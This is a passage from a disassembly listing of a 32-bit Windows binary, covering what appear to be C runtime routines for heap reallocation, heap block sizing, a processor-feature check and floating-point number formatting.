		push	[ebp+arg_4]
		call	sub_422F79
		pop	ecx
		jmp	loc_4288EC
; ---------------------------------------------------------------------------


loc_428606:				; CODE XREF: sub_4285CC+2Aj
		mov	esi, [ebp+arg_4]
		cmp	esi, edi
		jnz	short loc_428619
		push	ebx
		call	sub_4230B3
		pop	ecx
		jmp	loc_4288EA
; ---------------------------------------------------------------------------


loc_428619:				; CODE XREF: sub_4285CC+3Fj
		mov	eax, dword_6319C0
		cmp	eax, 3
		jnz	loc_428760


loc_428627:				; CODE XREF: sub_4285CC+178j
		mov	[ebp+var_24], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_428724
		push	9
		call	sub_428436
		pop	ecx
		mov	[ebp+var_4], edi
		push	ebx
		call	sub_427241
		pop	ecx
		mov	[ebp+var_28], eax
		cmp	eax, edi
		jz	loc_4286F4
		cmp	esi, dword_6319B8
		ja	short loc_4286A4
		push	esi
		push	ebx
		push	eax
		call	sub_427A4A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42866C
		mov	[ebp+var_24], ebx
		jmp	short loc_4286A4
; ---------------------------------------------------------------------------


loc_42866C:				; CODE XREF: sub_4285CC+99j
		push	esi
		call	sub_427595
		pop	ecx
		mov	[ebp+var_24], eax
		cmp	eax, edi
		jz	short loc_4286A4
		mov	eax, [ebx-4]
		dec	eax
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jb	short loc_428687
		mov	eax, esi


loc_428687:				; CODE XREF: sub_4285CC+B7j
		push	eax
		push	ebx
		push	[ebp+var_24]
		call	sub_4223F0
		push	ebx
		call	sub_427241
		mov	[ebp+var_28], eax
		push	ebx
		push	eax
		call	sub_42726C
		add	esp, 18h


loc_4286A4:				; CODE XREF: sub_4285CC+8Aj
					; sub_4285CC+9Ej ...
		cmp	[ebp+var_24], edi
		jnz	short loc_4286F4
		cmp	esi, edi
		jnz	short loc_4286B3
		push	1
		pop	esi
		mov	[ebp+arg_4], esi


loc_4286B3:				; CODE XREF: sub_4285CC+DFj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	dword_6319BC
		call	dword_42F1EC	; RtlAllocateHeap
		mov	[ebp+var_24], eax
		cmp	eax, edi
		jz	short loc_4286F4
		mov	eax, [ebx-4]
		dec	eax
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jb	short loc_4286DE
		mov	eax, esi


loc_4286DE:				; CODE XREF: sub_4285CC+10Ej
		push	eax
		push	ebx
		push	[ebp+var_24]
		call	sub_4223F0
		push	ebx
		push	[ebp+var_28]
		call	sub_42726C
		add	esp, 14h


loc_4286F4:				; CODE XREF: sub_4285CC+7Ej
					; sub_4285CC+DBj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_428757
		cmp	[ebp+var_28], edi
		jnz	short loc_428724
		cmp	esi, edi
		jnz	short loc_428709
		push	1
		pop	esi


loc_428709:				; CODE XREF: sub_4285CC+138j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	edi
		push	dword_6319BC
		call	dword_42F1B4	; RtlReAllocateHeap
		mov	[ebp+var_24], eax


loc_428724:				; CODE XREF: sub_4285CC+61j
					; sub_4285CC+134j
		mov	eax, [ebp+var_24]
		cmp	eax, edi
		jnz	loc_4288EC
		cmp	dword_6313F8, edi
		jz	loc_4288EC
		push	esi
		call	sub_42700C
		pop	ecx
		test	eax, eax
		jnz	loc_428627
		jmp	loc_4288EA
sub_4285CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42874F	proc near		; DATA XREF: .text:0042F510o
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
		xor	edi, edi
sub_42874F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428757	proc near		; CODE XREF: sub_4285CC+12Cp
		push	9
		call	sub_428497
		pop	ecx
		retn
sub_428757	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4285CC


loc_428760:				; CODE XREF: sub_4285CC+55j
		cmp	eax, 2
		jnz	loc_4288B0
		cmp	esi, 0FFFFFFE0h
		ja	short loc_428780
		cmp	esi, edi
		jbe	short loc_42877A
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_42877D
; ---------------------------------------------------------------------------


loc_42877A:				; CODE XREF: sub_4285CC+1A4j
		push	10h
		pop	esi


loc_42877D:				; CODE XREF: sub_4285CC+1ACj
		mov	[ebp+arg_4], esi


loc_428780:				; CODE XREF: sub_4285CC+1A0j
					; sub_4285CC+2CBj
		mov	[ebp+var_24], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_42887F
		push	9
		call	sub_428436
		pop	ecx
		mov	[ebp+var_4], 1
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	ebx
		call	sub_427F9C
		add	esp, 0Ch
		mov	edi, eax
		mov	[ebp+var_30], edi
		test	edi, edi
		jz	loc_428863
		cmp	esi, dword_44BA9C
		jnb	short loc_42881D
		mov	ebx, esi
		shr	ebx, 4
		push	ebx
		push	edi
		push	[ebp+var_2C]
		push	[ebp+var_38]
		call	sub_428364
		add	esp, 10h
		test	eax, eax
		jz	short loc_4287E2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_24], eax
		jmp	short loc_42881A
; ---------------------------------------------------------------------------


loc_4287E2:				; CODE XREF: sub_4285CC+20Cj
		push	ebx
		call	sub_428038
		pop	ecx
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	short loc_42881A
		movzx	eax, byte ptr [edi]
		shl	eax, 4
		mov	[ebp+var_34], eax
		cmp	eax, esi
		jb	short loc_4287FF
		mov	eax, esi


loc_4287FF:				; CODE XREF: sub_4285CC+22Fj
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_24]
		call	sub_4223F0
		push	edi
		push	[ebp+var_2C]
		push	[ebp+var_38]
		call	sub_427FF3
		add	esp, 18h


loc_42881A:				; CODE XREF: sub_4285CC+214j
					; sub_4285CC+222j
		mov	ebx, [ebp+arg_0]


loc_42881D:				; CODE XREF: sub_4285CC+1F3j
		cmp	[ebp+var_24], 0
		jnz	short loc_428876
		push	esi
		push	0
		push	dword_6319BC
		call	dword_42F1EC	; RtlAllocateHeap
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	short loc_428876
		movzx	eax, byte ptr [edi]
		shl	eax, 4
		mov	[ebp+var_34], eax
		cmp	eax, esi
		jb	short loc_428848
		mov	eax, esi


loc_428848:				; CODE XREF: sub_4285CC+278j
		push	eax
		push	ebx
		push	[ebp+var_24]
		call	sub_4223F0
		push	edi
		push	[ebp+var_2C]
		push	[ebp+var_38]
		call	sub_427FF3
		add	esp, 18h
		jmp	short loc_428876
; ---------------------------------------------------------------------------


loc_428863:				; CODE XREF: sub_4285CC+1E7j
		push	esi
		push	ebx
		push	0
		push	dword_6319BC
		call	dword_42F1B4	; RtlReAllocateHeap
		mov	[ebp+var_24], eax


loc_428876:				; CODE XREF: sub_4285CC+255j
					; sub_4285CC+26Bj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4288A5


loc_42887F:				; CODE XREF: sub_4285CC+1BAj
		mov	eax, [ebp+var_24]
		cmp	eax, edi
		jnz	short loc_4288EC
		cmp	dword_6313F8, edi
		jz	short loc_4288EC
		push	esi
		call	sub_42700C
		pop	ecx
		test	eax, eax
		jnz	loc_428780
		jmp	short loc_4288EA
; END OF FUNCTION CHUNK	FOR sub_4285CC

; =============== S U B	R O U T	I N E =======================================



sub_42889F	proc near		; DATA XREF: .text:0042F51Co
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
sub_42889F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4288A5	proc near		; CODE XREF: sub_4285CC+2AEp
		push	9
		call	sub_428497
		pop	ecx
		xor	edi, edi
		retn
sub_4288A5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4285CC


loc_4288B0:				; CODE XREF: sub_4285CC+197j
					; sub_4285CC+31Cj
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4288D3
		cmp	esi, edi
		jnz	short loc_4288BE
		push	1
		pop	esi


loc_4288BE:				; CODE XREF: sub_4285CC+2EDj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	edi
		push	dword_6319BC
		call	dword_42F1B4	; RtlReAllocateHeap


loc_4288D3:				; CODE XREF: sub_4285CC+2E9j
		cmp	eax, edi
		jnz	short loc_4288EC
		cmp	dword_6313F8, edi
		jz	short loc_4288EC
		push	esi
		call	sub_42700C
		pop	ecx
		test	eax, eax
		jnz	short loc_4288B0


loc_4288EA:				; CODE XREF: sub_4285CC+48j
					; sub_4285CC+17Ej ...
		xor	eax, eax


loc_4288EC:				; CODE XREF: sub_4285CC+35j
					; sub_4285CC+15Dj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4285CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4288FB	proc near		; CODE XREF: sub_42319C+Cp
					; sub_42319C+2Ap

var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0042896E SIZE 0000006F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F520
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_6319C0
		cmp	eax, 3
		jnz	short loc_42896E
		push	9
		call	sub_428436
		pop	ecx
		and	[ebp+var_4], 0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_427241
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_428950
		mov	esi, [esi-4]
		sub	esi, 9
		mov	[ebp+var_20], esi
		jmp	short loc_428953
; ---------------------------------------------------------------------------


loc_428950:				; CODE XREF: sub_4288FB+48j
		mov	esi, [ebp+var_20]


loc_428953:				; CODE XREF: sub_4288FB+53j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_428965
		cmp	[ebp+var_1C], 0
		jmp	short loc_4289B7
sub_4288FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_428962	proc near		; DATA XREF: .text:0042F528o
		mov	esi, [ebp-20h]
sub_428962	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428965	proc near		; CODE XREF: sub_4288FB+5Cp
		push	9
		call	sub_428497
		pop	ecx
		retn
sub_428965	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FB


loc_42896E:				; CODE XREF: sub_4288FB+2Bj
		cmp	eax, 2
		jnz	short loc_4289B9
		push	9
		call	sub_428436
		pop	ecx
		mov	[ebp+var_4], 1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+arg_0]
		call	sub_427F9C
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	short loc_4289A7
		movzx	esi, byte ptr [eax]
		shl	esi, 4
		mov	[ebp+var_20], esi
		jmp	short loc_4289AA
; ---------------------------------------------------------------------------


loc_4289A7:				; CODE XREF: sub_4288FB+9Fj
		mov	esi, [ebp+var_20]


loc_4289AA:				; CODE XREF: sub_4288FB+AAj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4289E0
		cmp	[ebp+var_28], 0


loc_4289B7:				; CODE XREF: sub_4288FB+65j
		jnz	short loc_4289CC


loc_4289B9:				; CODE XREF: sub_4288FB+76j
		push	[ebp+arg_0]
		push	0
		push	dword_6319BC
		call	dword_42F1AC	; RtlSizeHeap
		mov	esi, eax


loc_4289CC:				; CODE XREF: sub_4288FB:loc_4289B7j
		mov	eax, esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4288FB

; =============== S U B	R O U T	I N E =======================================



sub_4289DD	proc near		; DATA XREF: .text:0042F534o
		mov	esi, [ebp-20h]
sub_4289DD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4289E0	proc near		; CODE XREF: sub_4288FB+B3p
		push	9
		call	sub_428497
		pop	ecx
		retn
sub_4289E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4289E9	proc near		; CODE XREF: sub_42346C+Fp
		push	30000h
		push	10000h
		call	sub_42C29E
		pop	ecx
		pop	ecx
		retn
sub_4289E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4289FB	proc near		; CODE XREF: sub_428A39:loc_428A5Dj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_42F540
		fstp	[ebp+var_8]
		fld	dbl_42F538
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_42F450
		fnstsw	ax
		sahf
		jbe	short loc_428A35
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_428A35:				; CODE XREF: sub_4289FB+33j
		xor	eax, eax
		leave
		retn
sub_4289FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_428A39	proc near		; CODE XREF: sub_42346C+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_42F074	; GetModuleHandleA
		test	eax, eax
		jz	short loc_428A5D
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_42F13C	; GetProcAddress
		test	eax, eax
		jz	short loc_428A5D
		push	0
		call	eax ; sub_42346C
		retn
; ---------------------------------------------------------------------------


loc_428A5D:				; CODE XREF: sub_428A39+Dj
					; sub_428A39+1Dj
		jmp	sub_4289FB
sub_428A39	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428A62	proc near		; CODE XREF: sub_42512C+3CBp
					; DATA XREF: sub_423484+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_42A731
		cmp	eax, 65h
		pop	ecx
		jz	short loc_428AA2


loc_428A76:				; CODE XREF: sub_428A62+3Ej
		inc	esi
		cmp	dword_449A44, 1
		jle	short loc_428A8F
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_428A9E
; ---------------------------------------------------------------------------


loc_428A8F:				; CODE XREF: sub_428A62+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_449838
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_428A9E:				; CODE XREF: sub_428A62+2Bj
		test	eax, eax
		jnz	short loc_428A76


loc_428AA2:				; CODE XREF: sub_428A62+12j
		mov	cl, byte_449A48
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_428AAD:				; CODE XREF: sub_428A62+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_428AAD
		pop	esi
		retn
sub_428A62	endp


; =============== S U B	R O U T	I N E =======================================



sub_428ABC	proc near		; CODE XREF: sub_42512C+3E2p
					; DATA XREF: sub_423484+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_449A48
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_428AD8


loc_428ACC:				; CODE XREF: sub_428ABC+1Aj
		cmp	cl, dl
		jz	short loc_428AD8
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_428ACC


loc_428AD8:				; CODE XREF: sub_428ABC+Ej
					; sub_428ABC+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_428B09


loc_428ADF:				; CODE XREF: sub_428ABC+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_428AF2
		cmp	cl, 65h
		jz	short loc_428AF2
		cmp	cl, 45h
		jz	short loc_428AF2
		inc	eax
		jmp	short loc_428ADF
; ---------------------------------------------------------------------------


loc_428AF2:				; CODE XREF: sub_428ABC+27j
					; sub_428ABC+2Cj ...
		mov	ecx, eax


loc_428AF4:				; CODE XREF: sub_428ABC+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_428AF4
		cmp	[eax], dl
		jnz	short loc_428AFF
		dec	eax


loc_428AFF:				; CODE XREF: sub_428ABC+40j
					; sub_428ABC+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_428AFF

locret_428B09:				; CODE XREF: sub_428ABC+21j
		retn
sub_428ABC	endp


; =============== S U B	R O U T	I N E =======================================



sub_428B0A	proc near		; DATA XREF: sub_423484+28o
					; .text:off_44BB70o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_42F570
		fnstsw	ax
		sahf
		jb	short loc_428B1F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_428B1F:				; CODE XREF: sub_428B0A+Fj
		xor	eax, eax
		retn
sub_428B0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428B22	proc near		; CODE XREF: sub_425A04+430p
					; DATA XREF: sub_423484+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_428B4B
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42C761
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_428B4B:				; CODE XREF: sub_428B22+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42C78E
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_428B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428B60	proc near		; CODE XREF: sub_428E12+47p

var_3C		= qword	ptr -3Ch
var_28		= byte ptr -28h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+3Ch+var_3C]
		call	sub_42C832
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	eax
		mov	edx, [ebp+arg_4]
		lea	eax, [esi+1]
		push	eax
		xor	eax, eax
		cmp	[ebp+var_10], 2Dh
		setz	al
		xor	ecx, ecx
		test	esi, esi
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_42C7BB
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		push	[ebp+arg_C]
		push	esi
		push	[ebp+arg_4]
		call	sub_428BC1
		mov	eax, [ebp+arg_4]
		add	esp, 30h
		pop	esi
		leave
		retn
sub_428B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428BC1	proc near		; CODE XREF: sub_428B60+53p
					; sub_428D7F+86p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_10], bl
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		mov	edi, [ebp+arg_0]
		jz	short loc_428BEF
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnle	al
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, edi
		push	eax
		call	sub_428E63
		pop	ecx
		pop	ecx


loc_428BEF:				; CODE XREF: sub_428BC1+11j
		cmp	dword ptr [esi], 2Dh
		mov	eax, edi
		jnz	short loc_428BFC
		mov	byte ptr [edi],	2Dh
		lea	eax, [edi+1]


loc_428BFC:				; CODE XREF: sub_428BC1+33j
		cmp	[ebp+arg_4], ebx
		jle	short loc_428C13
		mov	dl, [eax+1]
		lea	ecx, [eax+1]
		mov	[eax], dl
		mov	eax, ecx
		mov	cl, byte_449A48
		mov	[eax], cl


loc_428C13:				; CODE XREF: sub_428BC1+3Ej
		xor	ecx, ecx
		cmp	[ebp+arg_10], bl
		push	offset aE000	; "e+000"
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_423260
		cmp	[ebp+arg_8], ebx
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_428C37
		mov	byte ptr [ecx],	45h


loc_428C37:				; CODE XREF: sub_428BC1+71j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_428C7C
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_428C4B
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_428C4B:				; CODE XREF: sub_428BC1+83j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_428C62
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_428C62:				; CODE XREF: sub_428BC1+8Ej
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_428C79
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_428C79:				; CODE XREF: sub_428BC1+A5j
		add	[ecx+1], bl


loc_428C7C:				; CODE XREF: sub_428BC1+7Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_428BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428C83	proc near		; CODE XREF: sub_428E12+1Ep

var_3C		= qword	ptr -3Ch
var_28		= byte ptr -28h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+3Ch+var_3C]
		call	sub_42C832
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_C]
		add	eax, esi
		push	eax
		xor	eax, eax
		cmp	[ebp+var_10], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_42C7BB
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		push	esi
		push	[ebp+arg_4]
		call	sub_428CD8
		mov	eax, [ebp+arg_4]
		add	esp, 2Ch
		pop	esi
		leave
		retn
sub_428C83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428CD8	proc near		; CODE XREF: sub_428C83+47p
					; sub_428D7F+6Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	eax, [esi+4]
		dec	eax
		cmp	[ebp+arg_C], 0
		jz	short loc_428D08
		cmp	eax, [ebp+arg_4]
		jnz	short loc_428D08
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0


loc_428D08:				; CODE XREF: sub_428CD8+14j
					; sub_428CD8+19j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebx
		jnz	short loc_428D15
		mov	byte ptr [ebx],	2Dh
		lea	edi, [ebx+1]


loc_428D15:				; CODE XREF: sub_428CD8+35j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_428D2C
		push	1
		push	edi
		call	sub_428E63
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_428D2E
; ---------------------------------------------------------------------------


loc_428D2C:				; CODE XREF: sub_428CD8+42j
		add	edi, eax


loc_428D2E:				; CODE XREF: sub_428CD8+52j
		cmp	[ebp+arg_4], 0
		jle	short loc_428D78
		push	1
		push	edi
		call	sub_428E63
		mov	al, byte_449A48
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_428D78
		cmp	[ebp+arg_C], 0
		jz	short loc_428D57
		neg	esi
		jmp	short loc_428D5E
; ---------------------------------------------------------------------------


loc_428D57:				; CODE XREF: sub_428CD8+79j
		neg	esi
		cmp	[ebp+arg_4], esi
		jl	short loc_428D61


loc_428D5E:				; CODE XREF: sub_428CD8+7Dj
		mov	[ebp+arg_4], esi


loc_428D61:				; CODE XREF: sub_428CD8+84j
		push	[ebp+arg_4]
		push	edi
		call	sub_428E63
		push	[ebp+arg_4]
		push	30h
		push	edi
		call	sub_4221F0
		add	esp, 14h


loc_428D78:				; CODE XREF: sub_428CD8+5Aj
					; sub_428CD8+73j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_428CD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428D7F	proc near		; CODE XREF: sub_428E12+34p

var_44		= qword	ptr -44h
var_28		= byte ptr -28h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		lea	eax, [ebp+var_28]
		push	edi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+44h+var_44]
		call	sub_42C832
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+arg_8]
		lea	esi, [eax-1]
		xor	eax, eax
		cmp	[ebp+var_10], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	edi
		call	sub_42C7BB
		mov	eax, [ebp+var_C]
		add	esp, 1Ch
		dec	eax
		cmp	esi, eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_428DF8
		cmp	eax, ebx
		jge	short loc_428DF8
		test	cl, cl
		jz	short loc_428DE4


loc_428DDA:				; CODE XREF: sub_428D7F+60j
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_428DDA
		and	[edi-2], al


loc_428DE4:				; CODE XREF: sub_428D7F+59j
		lea	eax, [ebp+var_10]
		push	1
		push	eax
		push	ebx
		push	[ebp+arg_4]
		call	sub_428CD8
		add	esp, 10h
		jmp	short loc_428E0D
; ---------------------------------------------------------------------------


loc_428DF8:				; CODE XREF: sub_428D7F+51j
					; sub_428D7F+55j
		lea	eax, [ebp+var_10]
		push	1
		push	eax
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		call	sub_428BC1
		add	esp, 14h


loc_428E0D:				; CODE XREF: sub_428D7F+77j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_428D7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428E12	proc near		; CODE XREF: sub_42512C+3AAp
					; DATA XREF: sub_423484o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_428E4D
		cmp	[ebp+arg_8], 45h
		jz	short loc_428E4D
		cmp	[ebp+arg_8], 66h
		jnz	short loc_428E3A
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_428C83
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_428E3A:				; CODE XREF: sub_428E12+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_428D7F
		jmp	short loc_428E5E
; ---------------------------------------------------------------------------


loc_428E4D:				; CODE XREF: sub_428E12+7j
					; sub_428E12+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
